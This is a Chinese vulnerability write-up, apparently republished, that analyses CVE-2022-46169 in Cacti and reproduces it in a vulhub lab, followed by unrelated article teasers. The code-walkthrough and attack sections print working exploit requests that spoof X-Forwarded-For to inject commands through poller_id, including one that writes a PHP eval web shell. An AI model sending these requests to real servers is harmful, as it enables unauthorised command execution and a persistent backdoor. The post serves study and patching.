Cacti 前台命令注入漏洞

news2025/1/18 11:39:21

文章目录

    • 文档说明
    • 漏洞描述
    • 影响版本
    • 漏洞原理
      • 命令执行简单分析
      • 客户端ip伪造分析
    • 漏洞复现
      • 下载vulhub
      • 启动环境
      • 配置
      • 攻击
    • 复现总结
    • 修复方案
    • 原创申明

文档说明

本文作者:SwBack
创作时间:2023/4/8 0:12
知乎:https://www.zhihu.com/people/back-88-87
CSDN:https://blog.csdn.net/qq_30817059
百度搜索: SwBack

漏洞描述

漏 洞 名:Cacti 前台命令注入漏洞
漏洞编号:CVE-2022-46169
Cacti是一个服务器监控与管理平台。基于PHP,MySQL,SNMP及RRDTool开发的网络流量监测图形分析工具.

在其1.2.17-1.2.22版本中存在一处命令注入漏洞,攻击者可以通过X-Forwarded-For请求头绕过服务端校验并在其中执行任意命令。

影响版本

1.2.17-1.2.22

漏洞原理

由于remote_agent.php文件存在验证缺陷,未经身份验证的攻击者通过设置HTTP_开头变量的值为 Cacti的服务器主机名来实现身份验证绕过,之后控制get_nfilter_request_var()函数中的检索参数$poller_id,当poller_item设置为POLLER_ACTION_SCRIPT_PHP时,导致proc_open()函数被触发,最终实现在目标系统上任意命令执行。

#漏洞payload
remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success`
X-Forwarded-For:127.0.0.1

命令执行简单分析

其中action 等于 polldata 时才会去调用poll_for_data()函数.

在这里插入图片描述

可以通过下面poll_for_data()函数的代码发现 只有 $item['action'] === POLLER_ACTION_SCRIPT_PHP 时,$poller_id 才会在proc_open()中命令执行

$item 是循环 $items得到

#简单将未涉及到的代码注释,尽量减少篇幅
function poll_for_data() {
	global $config;

	$local_data_ids = get_nfilter_request_var('local_data_ids');
	$host_id        = get_filter_request_var('host_id');
	$poller_id      = get_nfilter_request_var('poller_id');
	$return         = array();

	$i = 0;

	if (cacti_sizeof($local_data_ids)) {
		foreach($local_data_ids as $local_data_id) {
			input_validate_input_number($local_data_id);

			$items = db_fetch_assoc_prepared('SELECT *
				FROM poller_item
				WHERE host_id = ?
				AND 6 = ?',
				array($host_id, $local_data_id));

				.....
                .....
			if (cacti_sizeof($items)) {
				foreach($items as $item) {
					switch ($item['action']) {
					case POLLER_ACTION_SNMP: /* snmp */
						.....
                        .....
					case POLLER_ACTION_SCRIPT: /* script (popen) */
						.....
                        .....
					case POLLER_ACTION_SCRIPT_PHP: /* script (php script server) */
						$cactides = array(
							0 => array('pipe', 'r'), // stdin is a pipe that the child will read from
							1 => array('pipe', 'w'), // stdout is a pipe that the child will write to
							2 => array('pipe', 'w')  // stderr is a pipe to write to
						);

						if (function_exists('proc_open')) {
							$cactiphp = proc_open(read_config_option('path_php_binary') . ' -q ' . $config['base_path'] . '/script_server.php realtime ' . $poller_id, $cactides, $pipes);
							$output = fgets($pipes[1], 1024);
							$using_proc_function = true;
						} else {
							$using_proc_function = false;
						}

						.....
                        .....
					}

					$i++;
				}
			}
		}
	}

	print json_encode($return);
}

我们需要 使 $items 的SQL语句成立。 所以 $local_data_id 需要传参 6

action 等于2的时候,host_id = 1

在这里插入图片描述

在这里插入图片描述

实际的环境中,由于设备项目在添加时,需要选择相应的设备模板才会出现action=2,local_data_ids参数也是需要靠暴力猜解才会猜解出action=2的项目

在这里插入图片描述

客户端ip伪造分析

关于IP伪造的部分,我们在未认证的情况下返回的内容如下:FATAL: You are not authorized to use this service 此处在漏洞复现部分有所演示

在``中追踪代码如下

#判断remote_client_authorized()函数是否为true
if (!remote_client_authorized()) {
	print 'FATAL: You are not authorized to use this service';
	exit;
}


function remote_client_authorized() {
	global $poller_db_cnn_id;

	/* don't allow to run from the command line */
    
    #客户端ip由get_client_addr() 函数获取
	$client_addr = get_client_addr();
	if ($client_addr === false) {
		return false;
	}

	if (!filter_var($client_addr, FILTER_VALIDATE_IP)) {
		cacti_log('ERROR: Invalid remote agent client IP Address.  Exiting');
		return false;
	}

	$client_name = gethostbyaddr($client_addr);

	if ($client_name == $client_addr) {
		cacti_log('NOTE: Unable to resolve hostname from address ' . $client_addr, false, 'WEBUI', POLLER_VERBOSITY_MEDIUM);
	} else {
		$client_name = remote_agent_strip_domain($client_name);
	}
	#从数据库中查询,从而获取到hostname值
	$pollers = db_fetch_assoc('SELECT * FROM poller', true, $poller_db_cnn_id);

	if (cacti_sizeof($pollers)) {
		foreach($pollers as $poller) {
            #判断hostname值是否与客户端ip一致
			if (remote_agent_strip_domain($poller['hostname']) == $client_name) {
				return true;
			} elseif ($poller['hostname'] == $client_addr) {
				return true;
			}
		}
	}

	cacti_log("Unauthorized remote agent access attempt from $client_name ($client_addr)");

	return false;
}

搜索之后在functions.php中发现get_client_addr()函数的定义

function get_client_addr($client_addr = false) {
	$http_addr_headers = array(
		'X-Forwarded-For',
		'X-Client-IP',
		'X-Real-IP',
		'X-ProxyUser-Ip',
		'CF-Connecting-IP',
		'True-Client-IP',
		'HTTP_X_FORWARDED',
		'HTTP_X_FORWARDED_FOR',
		'HTTP_X_CLUSTER_CLIENT_IP',
		'HTTP_FORWARDED_FOR',
		'HTTP_FORWARDED',
		'HTTP_CLIENT_IP',
		'REMOTE_ADDR',
	);

	$client_addr = false;
    #遍历数组$http_addr_headers 并将其赋值给$header
	foreach ($http_addr_headers as $header) {
        #判断$_SERVER[$header] 是否为空 ,如果不为空,则取ip作为客户端IP,这个参数用户可控。
		if (!empty($_SERVER[$header])) {
			$header_ips = explode(',', $_SERVER[$header]);
			foreach ($header_ips as $header_ip) {
				if (!empty($header_ip)) {
					if (!filter_var($header_ip, FILTER_VALIDATE_IP)) {
						cacti_log('ERROR: Invalid remote client IP Address found in header (' . $header . ').', false, 'AUTH', POLLER_VERBOSITY_DEBUG);
					} else {
						$client_addr = $header_ip;
						cacti_log('DEBUG: Using remote client IP Address found in header (' . $header . '): ' . $client_addr . ' (' . $_SERVER[$header] . ')', false, 'AUTH', POLLER_VERBOSITY_DEBUG);
						break 2;
					}
				}
			}
		}
	}

	return $client_addr;
}

在如下判断代码中,我们传入的值为 127.0.0.1 会被get_client_addr()函数 解析为localhost 而这和复现靶机一致

在这里插入图片描述

在这里插入图片描述

如果在服务器主机名非 localhost 的情况下,client_addr需要暴力猜解本机的内网IP地址,或者其他设备列表内的IP地址。

漏洞复现

下载vulhub

通过vulhub进行搭建,首先在一台已经安装 docker-compose的Linux机器中输入如下命令,将vulhub下载到本地

#下载vulhub
wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip

#解压zip
unzip vulhub-master.zip

#进入目录
cd vulhub-master

启动环境

在上一步我们已经将vulhub解压到本地了.接下来我们进入需要复现的漏洞目录,通过docker-compose 将环境进行启动

#进入目录
cd cacti/CVE-2022-46169/
#启动环境
docker-compose up -d

输入命令之后

在这里插入图片描述

配置

环境启动后,访问http://your-ip:8080会跳转到登录页面。使用admin/admin作为账号密码登录,并根据页面中的提示进行初始化。不断的点击下一步,直到安装成功。

在这里插入图片描述

在这里插入图片描述

这个漏洞的利用需要Cacti应用中至少存在一个类似是POLLER_ACTION_SCRIPT_PHP的采集器。所以,我们在Cacti后台首页创建一个新的Graph:

在这里插入图片描述

在这里插入图片描述

攻击

直接访问payload 显示内容如下

http://localhost:8080/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success`

在这里插入图片描述

进行抓包,并添加X-Forwarded-For:127.0.0.1
在这里插入图片描述

查看本地,发现文件已被创建

在这里插入图片描述

同理,创建木马

/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`echo%20%20'%3C%3Fphp%20%40eval(%24_REQUEST%5B%22cmd%22%5D)%3B%3F%3E'%20%3Eshell.php`

执行成功

在这里插入图片描述

复现总结

通过研究该漏洞,发现在实际的利用的过程中,不能一味的去使用poc攻击,需要根据实际的生产环境去进行对应的修改。

修复方案

  • 官方升级

目前官方已发布安全补丁修复此漏洞,建议受影响的用户及时安装防护:

版本*补丁链接
v1.2.Xhttps://github.com/Cacti/cacti/commit/b43f13ae7f1e6bfe4e8e56a80a7cd867cf2db52b
v1.3.xhttps://github.com/Cacti/cacti/commit/b43f13ae7f1e6bfe4e8e56a80a7cd867cf2db52b

:若在PHP < 7.0下运行1.2.x实例,还需要进一步更改:https://github.com/Cacti/cacti/commit/a8d59e8fa5f0054aa9c6981b1cbe30ef0e2a0ec9

  • 进行版本更新
    从官方下载最新版本

原创申明

本文由SwBack 原创文章, 如有问题,欢迎指正。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/500853.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

solidity--语言基础

solidity源文件结构 // SPDX-License-Identifier: MIT pragma solidity ^0.5.2; pragma abicoder v1; import "filename"; 注释 智能合约组成 状态变量 // SPDX-License-Identifier: GPL-3.0 pragma solidity >0.4.0 <0.9.0;contract SimpleStorage {uint stor…

SD卡打不开是怎么回事?SD卡打不开里面数据怎样恢复

SD卡已经成为了移动设备和数码相机中受欢迎的存储选项之一。但是使用过程中难免会遇到一些问题&#xff0c;例如SD卡突然打不开了&#xff0c;并且无法访问其中的数据。这种情况常常让人感到烦恼和无助。但是不要紧张&#xff0c;下面我们将介绍SD卡打不开里面数据怎样恢复的方…

Yuzuki Lizard V851S开发板 –编译 OPENCV 4.5.4

1.主要参考教程地址&#xff0c;实际操作结合多个教程。 https://blog.csdn.net/Flag_ing/article/details/109508374 2.放从OPENCV RELEASE 下载的解压出来的文件&#xff0c;里面还要放对应版本的contribute 解压文件 /root/opencv-4.5.4/root/opencv-4.5.4/build6在这里要…

深入理解Java虚拟机——内存分配与回收策略

1.前言 在读这篇博客之前&#xff0c;你需要了解分代收集理论中&#xff0c;收集器应该将Java堆划分出不同的区域**&#xff0c;**然后将回收对象依据其年龄&#xff08;年龄即对象熬过垃圾收集过程的次数&#xff09;分配到不同的区域之中存储。 例如appel式回收&#xff0c…

SSM整合详细教学(上)

SSM整合详细教学&#xff08;上&#xff09; 一、SSM整合1. SSM整合配置1.1 SSM整合流程1.2 SSM整合配置1.2.1 创建工程&#xff0c;添加依赖和插件1.2.2 Spring整合Mybatis1.2.3 Spring整合SpringMVC 2. 功能模块开发2.1 数据层开发(BookDao)2.2 业务层开发(BookService/BookS…

java注解,一篇文章就够了

开篇一张图 一、定义 注解是一种标记&#xff0c;使类或接口附加额外信息&#xff0c;帮助编译器和 JVM 完成一些特定功能。 Annotation(注解)也被称为元数据(Metadata)是JDK1.5及以后版本引入的&#xff0c;用于修饰包、类、接口、字段、方法参数、局部变量等。 如&#xf…

iOS与Android应用开发的对比:如何选择最佳开发平台?

第一章&#xff1a;引言 在移动应用开发领域&#xff0c;iOS和Android是最为流行的操作系统。选择最佳的开发平台可以使开发人员更有效地开发和发布应用程序。本文将分析iOS和Android应用开发的优缺点&#xff0c;并提供一些有关如何选择最佳开发平台的建议。 第二章&#xf…

【Git基础】常用git命令(四)

文章目录 1. 处理突发事件1.1 暂存修改1.2 git stash的一些命令 2. 指定不需要git管理的文件2.1 指定不需要git管理的文件2.2 .gitignore的规则 3. 如何解决项目之间的依赖3.1 如何使用git处理项目之间的依赖3.2 submodule的使用方式3.3 如何clone submodule3.4 submodule的陷阱…

小白如何做好项目管理?看这里

做好项目管理不是一件容易的事儿&#xff0c;只有掌握了正确的技巧&#xff0c;才能事半功倍地完成项目。 下面就按照项目管理的流程来讲一讲如何做好项目管理。 项目管理是指运用系统的理论方法&#xff0c;在有限的条件和资源下&#xff0c;对项目从开始到结束的全流程进行计…

电子会议桌牌系统——基站版

一、产品特点 低功耗&#xff0c;常规使用3-5年电池寿命 支持空中唤醒&#xff0c;刷新快速&#xff0c;几秒钟内看到结果 点阵电子纸屏幕&#xff0c;视角接近180 基于Web的应用界面&#xff0c;支持跨平台操作 安装简单&#xff0c;快速布置 电池供电不需要布线 双面显…

【react从入门到精通】React兄弟组件通信方式详解(有示例)

文章目录 前言React技能树通过共同的父组件传递props使用React Context使用Redux使用EventBus写在最后 前言 在上一篇文章《React父子组件通信方式详解》中我们了解了React父子组件通信的4中方式。 本文中我们将详细了解react兄弟组件通信方式。 React技能树 React 技能树 ├…

如何利用分钟级降水预报 API 优化城市水利管理?

引言 降水预报对于城市水利管理部门来说至关重要&#xff0c;它可以帮助管理者及时了解当地的降雨情况&#xff0c;以便更好地管理城市水利设施&#xff0c;保障公共安全。然而&#xff0c;传统的降水预报数据一般只提供每小时或每3小时的粗略预报数据&#xff0c;无法满足城市…

服务部分综合实验

#每台机子关闭防火墙和selinux ##NFS test1 10 ##部署共享存储 test1 10 systemctl stop firewalld systemctl disable firewalld setenforce 0 cd /opt/ mkdir nfs cd nfs/ mkdir web1 web2 echo "this is web1" > web1/index.html echo "this is web2&quo…

八大排序[超级详细](动图+代码优化)这一篇文章就够了

目录 什么是排序&#x1f36d; 什么是稳定性&#x1f36d; 交换排序的基本思想&#x1f36d; 一、冒泡排序&#x1f36d; 1、基本思想&#x1f349; 2、实现代码&#x1f349; 3、代码优化&#x1f349; Ⅰ、 &#x1f9c1;冒泡排序的优化1 Ⅱ、&#x1f9c1;冒泡排序的优…

云安全技术——搭建VPN

目录 二、VPN简介 三、规划实训环境和网络拓扑 配置VPN服务器 五、VPN网络客户端的配置 六、远程访问VPN的检测 二、VPN简介 VPN&#xff08;Virtual Private Network&#xff09;是一种可以在公共网络上建立安全连接的技术。VPN是实现保密通信的基本手段&#xff0c;在wi…

玩转服务器之Java Web篇:手把手教你搭建Java Web环境

前言 Java Web项目&#xff0c;简单来说就是我们在浏览器上可以看到的内容。就简单的Web来说&#xff0c;服务器上也同样需要有计算机上所需要的运行环境&#xff0c;如&#xff1a;java,tomcat,mysql 。Java Web环境可以用来开发和部署各种Web应用程序&#xff0c;例如网站、…

11-Vue技术栈之插槽的使用

目录 1、作用2、分类3、使用方式4、插槽的应用 1、作用 让父组件可以向子组件指定位置插入html结构&#xff0c;也是一种组件间通信的方式&#xff0c;适用于 父组件 > 子组件 。 2、分类 默认插槽、具名插槽、作用域插槽 3、使用方式 默认插槽&#xff1a; 父组件中&am…

《走进对象村2》特殊的- static

文章目录 &#x1f680;文章导读1.1static修饰成员变量1.2static修饰成员方法1.3代码块1.3.1代码块概念及分类以及不同代码块之间的运行顺序1、普通代码块2、构造代码块3、静态代码块 static存在的意义面试题&#xff1a;1、static的独特之处2、 静态变量和实例变量的区别3、静…

前端——HTML

1.html的标准结构 【1】先建立一个普通文本文档&#xff0c;将文本的后缀改为.html 【2】编辑&#xff1a;标准结构 <html> <head></head> <body> this is my first </body> </html> 最外层是标签<html>然后<head>标…

如何用 AI 练英语口语?

语言学习&#xff0c;就得靠多训练。 痛点 有的小伙伴学了很长时间的英语&#xff0c;但学到的却是「哑巴英语」&#xff0c;特点是见着外国人张不开嘴。这里面有多种因素&#xff0c;但最主要还是练得太少。语言这东西就得靠多训练。经常和外国人说话&#xff0c;语言能力很快…